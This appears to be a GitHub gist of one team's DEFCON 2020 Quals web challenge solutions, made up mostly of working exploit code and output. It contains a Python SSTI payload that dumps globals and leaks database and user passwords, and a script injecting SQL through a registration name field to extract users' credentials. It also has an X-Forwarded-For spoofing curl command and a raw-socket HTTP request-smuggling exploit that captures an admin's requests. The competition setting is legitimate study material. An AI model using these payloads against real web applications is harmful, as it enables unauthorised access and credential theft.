Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active June 15, 2020 11:35
Show Gist options
  • Save stypr/369141278c186b9cffbeec68fe1b5d2e to your computer and use it in GitHub Desktop.
Save stypr/369141278c186b9cffbeec68fe1b5d2e to your computer and use it in GitHub Desktop.
DEFCON Quals Web exploit (Participated as r3kapig)

SSTI

  1. Write one comment
  2. When writing a comment content, do SSTI to leak author's credentials
{rating[comments][0].__class__.__init__.__globals__}
{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': , 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': , 'memoryview': , 'bytearray': , 'bytes': , 'classmethod': , 'complex': , 'dict': , 'enumerate': , 'filter': , 'float': , 'frozenset': , 'property': , 'int': , 'list': , 'map': , 'object': , 'range': , 'reversed': , 'set': , 'slice': , 'staticmethod': , 'str': , 'super': , 'tuple': , 'type': , 'zip': , '__debug__': True, 'BaseException': , 'Exception': , 'TypeError': , 'StopAsyncIteration': , 'StopIteration': , 'GeneratorExit': , 'SystemExit': , 'KeyboardInterrupt': , 'ImportError': , 'ModuleNotFoundError': , 'OSError': , 'EnvironmentError': , 'IOError': , 'EOFError': , 'RuntimeError': , 'RecursionError': , 'NotImplementedError': , 'NameError': , 'UnboundLocalError': , 'AttributeError': , 'SyntaxError': , 'IndentationError': , 'TabError': , 'LookupError': , 'IndexError': , 'KeyError': , 'ValueError': , 'UnicodeError': , 'UnicodeEncodeError': , 'UnicodeDecodeError': , 'UnicodeTranslateError': , 'AssertionError': , 'ArithmeticError': , 'FloatingPointError': , 'OverflowError': , 'ZeroDivisionError': , 'SystemError': , 'ReferenceError': , 'MemoryError': , 'BufferError': , 'Warning': , 'UserWarning': , 'DeprecationWarning': , 'PendingDeprecationWarning': , 'SyntaxWarning': , 'RuntimeWarning': , 'FutureWarning': , 'ImportWarning': , 'UnicodeWarning': , 'BytesWarning': , 'ResourceWarning': , 'ConnectionError': , 'BlockingIOError': , 'BrokenPipeError': , 'ChildProcessError': , 'ConnectionAbortedError': , 'ConnectionRefusedError': , 'ConnectionResetError': , 'FileExistsError': , 'FileNotFoundError': , 'IsADirectoryError': , 'NotADirectoryError': , 'InterruptedError': , 'PermissionError': , 'ProcessLookupError': , 'TimeoutError': , 'open': , 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2020 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'connect': , 'f': , 'clean': , 'json': , 'post_results': ((1, 'This is Trigger. He does not know what happened to the trash can. Offended that you would even ask him. 12/10 no further questions', 2, 12, 'images/img_1.jpg', 2, 'demidog', 'princesses_password'),), 'jf': <_io.TextIOWrapper name='/dbcreds.json' mode='r' encoding='UTF-8'>, 'jdata': {'db_user': 'dogooo', 'db_pass': 'dogZgoneWild'}, 'db_user': 'dogooo', 'db_pass': 'dogZgoneWild', 'Comment': , 'Post': , 'get_posting': , 'UserMixin': , 'save_comment': , 'get_all_posts': , 'create_post_entry': , 'User': , 'user_create_entry': , 'get_login': , 'get_user': } -
, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': , 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': , 'memoryview': , 'bytearray': , 'bytes': , 'classmethod': , 'complex': , 'dict': , 'enumerate': , 'filter': , 'float': , 'frozenset': , 'property': , 'int': , 'list': , 'map': , 'object': , 'range': , 'reversed': , 'set': , 'slice': , 'staticmethod': , 'str': , 'super': , 'tuple': , 'type': , 'zip': , '__debug__': True, 'BaseException': , 'Exception': , 'TypeError': , 'StopAsyncIteration': , 'StopIteration': , 'GeneratorExit': , 'SystemExit': , 'KeyboardInterrupt': , 'ImportError': , 'ModuleNotFoundError': , 'OSError': , 'EnvironmentError': , 'IOError': , 'EOFError': , 'RuntimeError': , 'RecursionError': , 'NotImplementedError': , 'NameError': , 'UnboundLocalError': , 'AttributeError': , 'SyntaxError': , 'IndentationError': , 'TabError': , 'LookupError': , 'IndexError': , 'KeyError': , 'ValueError': , 'UnicodeError': , 'UnicodeEncodeError': , 'UnicodeDecodeError': , 'UnicodeTranslateError': , 'AssertionError': , 'ArithmeticError': , 'FloatingPointError': , 'OverflowError': , 'ZeroDivisionError': , 'SystemError': , 'ReferenceError': , 'MemoryError': , 'BufferError': , 'Warning': , 'UserWarning': , 'DeprecationWarning': , 'PendingDeprecationWarning': , 'SyntaxWarning': , 'RuntimeWarning': , 'FutureWarning': , 'ImportWarning': , 'UnicodeWarning': , 'BytesWarning': , 'ResourceWarning': , 'ConnectionError': , 'BlockingIOError': , 'BrokenPipeError': , 'ChildProcessError': , 'ConnectionAbortedError': , 'ConnectionRefusedError': , 'ConnectionResetError': , 'FileExistsError': , 'FileNotFoundError': , 'IsADirectoryError': , 'NotADirectoryError': , 'InterruptedError': , 'PermissionError': , 'ProcessLookupError': , 'TimeoutError': , 'open': , 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2020 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'connect': , 'f': , 'clean': , 'json': , 'post_results': ((1, 'This is Trigger. He does not know what happened to the trash can. Offended that you would even ask him. 12/10 no further questions', 2, 12, 'images/img_1.jpg', 2, 'demidog', 'princesses_password'),), 'jf': <_io.TextIOWrapper name='/dbcreds.json' mode='r' encoding='UTF-8'>, 'jdata': {'db_user': 'dogooo', 'db_pass': 'dogZgoneWild'}, 'db_user': 'dogooo', 'db_pass': 'dogZgoneWild', 'Comment': , 'Post': , 'get_posting': , 'UserMixin': , 'save_comment': , 'get_all_posts': , 'create_post_entry': , 'User': , 'user_create_entry': , 'get_login': , 'get_user': }'>

You get author ID and password in __globals__ : 'demidog', 'princesses_password'

  1. Login as author

  2. Create username {open('/flag').read()} and password {open('/flag').read()}

  3. Login username {open('/flag').read()} and password {open('/flag').read()}

http://dogooos.challenges.ooo:37453/dogooo/show?message=Welcom+back+OOO%7Bdid%20you%20see%20my%20dog%7D

Flag: OOO{did you see my dog}

"""
TL;DR
1. leak admin using sqli
2. admin can leak submission binary
2-1. impossible to trigger correct submission (the success func is never called)
3. waited for someone to get 'true'
4. leaked id/pw of a user who succeeded the submission
"""
import json
import requests
import random
def register(d):
# headers = {"Content-Type": "application/json"}
r = requests.post("http://ooonline-class.challenges.ooo:5000/user/register", json=d)
return r.text
def rand():
return str(random.randint(1000000, 99999999))
if __name__ == "__main__":
# sqlalchemy.exc.DataError: (psycopg2.errors.InvalidTextRepresentation) invalid input syntax for integer: "ooonline"
# ooonline
# table: users,classes, assignments, submissions, submission_results, pg_type
'''reg_user = {
"passwd": "admin",
"name": """sty%s','stypr'),
((cast((
SELECT
current_database())
AS
int)),
'stypr')
--""" % (rand()),
"passwd": "admin"
}'''
'''
users
"id"
"username"
"password"
"admin"
assignments
"id"
"class_id"
"name"
"text"
"grading_binary"
classes
"id"
"name"
"open"
submissions
"id"
"user_id"
"assignment_id"
"filename"
submission_results
"id"
"submission_id"
"result"
"message"
'''
# admin / zKSTznZYGD
# (111, u'"106tyou got hacked"')
'''
for i in range(512):
reg_user = {
"passwd": "admin",
"name": """sty%s','stypr'),
((cast((
SELECT
concat(id,chr(32),submission_id,chr(32),result,chr(32),submission_id)
FROM
submission_results
WHERE
result!='n'
limit
1
offset
%s)
AS
int)),
'stypr')
--""" % (rand(), str(i)),
"passwd": "admin"
}
print(i, register(reg_user).split("integer: ")[-1].split("\n")[0])
#print(register(reg_user))
'''
'''
for i in range(512):
reg_user = {
"passwd": "admin",
"name": """sty%s','stypr'),
((cast((
SELECT
concat(assignment_id,chr(32),filename)
FROM
submissions
limit
1
offset
%s)
AS
int)),
'stypr')
--""" % (rand(), str(i)),
"passwd": "admin"
}
print(i, register(reg_user).split("integer: ")[-1].split("\n")[0])
#print(register(reg_user))
'''
# (103, u'"1 /submissions/1/3290/106"')
for i in range(3290):
reg_user = {
"passwd": "admin",
"name": """sty%s','stypr'),
((cast((
SELECT
concat(id,chr(32),username,chr(32),password)
FROM
users
WHERE
id=3290
limit
1
offset
%s)
AS
int)),
'stypr')
--""" % (rand(), str(i)),
"passwd": "admin"
}
print(i, register(reg_user).split("integer: ")[-1].split("\n")[0])
# print(register(reg_user))
# (0, u'"3290 test839236 testing"')
# OOO{online_classes-are_much-easier-than-in-person-classes}
"""
Submission id 101: Failure. Grading message: Failed test cases
Submission id 102: Failure. Grading message: Failed test cases
Submission id 103: Failure. Grading message: Failed test cases
Submission id 104: Failure. Grading message: Failed test cases
Submission id 105: Failure. Grading message: Failed test cases
Submission id 106: Success! Flag: OOO{online_classes-are_much-easier-than-in-person-classes}
"""
root@stypr-ubuntu:~/defcon2020/pot# # This one was very unexpected. I stil don't understand the intention of the challenge.
root@stypr-ubuntu:~/defcon2020/pot# curl -H "X-Forwarded-For: 172.25.0.11" "https://pooot.challenges.ooo/172.25.0.102:3000/index.html"
OOO{m3lt1ng_p0t_of_s3cur1ty_0r1g1n5}
"""
TL;DR
1. Request smuggling to leak requests
2. Using different size of Content-length to get the flag request from admin (User-Agent: invoker)
3. Stripped characters can be guessed with the response's length and the partial flag
python exp_silent.py
- Connect success
- Send success
- Resp success
(200, u"POST /files/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: invoker\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nContent-Type: text/plain\r\nX-guid: a7c7b215-6b31-474c-94ae-97ed6fdf9af2\r\nContent-Length: 152\r\nX-Forwarded-For: 127.0.0.1\r\n\r\nCongratulations!\nOOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That g")
root@stypr-ubuntu:~/defcon2020# python # https://genius.com/Bikini-kill-rebel-girl-lyrics
>>> len("Congratulations!\nOOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}")
151
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}
"""
# coding:utf-8
import ssl
import time
import requests, re, socket
GUID_RE = re.compile(r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}")
while True:
try:
uuid = '13375844-6974-6974-6974-001100110011'
uuid_fake = '58448282-6974-6974-6974-584458445844'
target_host = "uploooadit.oooverflow.io"
target_port = 443
# Connect
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(3)
client.connect((target_host,target_port))
print("- Connect success")
# SSL
client = ssl.wrap_socket(client, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
# send payload for smuggling
payload = """1
A
0
POST /files/ HTTP/1.1
X-guid: %s
Content-Length: 450
Content-Type: text/plain
Connection: Close
""" % (uuid,)
payload = payload.replace("\r\n", "\n").replace("\n", "\r\n")
# exploit should include payload
request = """POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Stypr: true
X-guid: %s
Content-Length: %s
Connection: keep-alive
Content-Type: text/plain
Transfer-Encoding:\x0bchunked
%s""".replace("\r\n", "\n").replace("\n", "\r\n")
request = request % (uuid_fake, len(payload), payload)
# print(request)
# send request
# print(request)
client.send(request.encode())
print("- Send success")
# receive some data
response = client.recv(4096)
http_response = repr(response)
http_response_len = len(http_response)
print("- Resp success")
# print(http_response)
res = requests.get("https://uploooadit.oooverflow.io/files/%s" % (uuid,))
#if "User-Agent: curl/7.58.0" not in res.text and "22099301-d68e-4dfb-996f-1626f3158b5e" not in res.text:
print(res.status_code, res.text)
if "OOO{" in res.text:
break
if GUID_RE.findall(res.text):
print(GUID_RE.findall(res.text))
for i in GUID_RE.findall(res.text):
res = requests.get('https://uploooadit.oooverflow.io/files/{}'.format(i))
if "OOO{" in res.text:
break
print([i, res.status_code, res.text])
# print("Sleeping...")
# time.sleep(1)
except:
print("- Retry...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment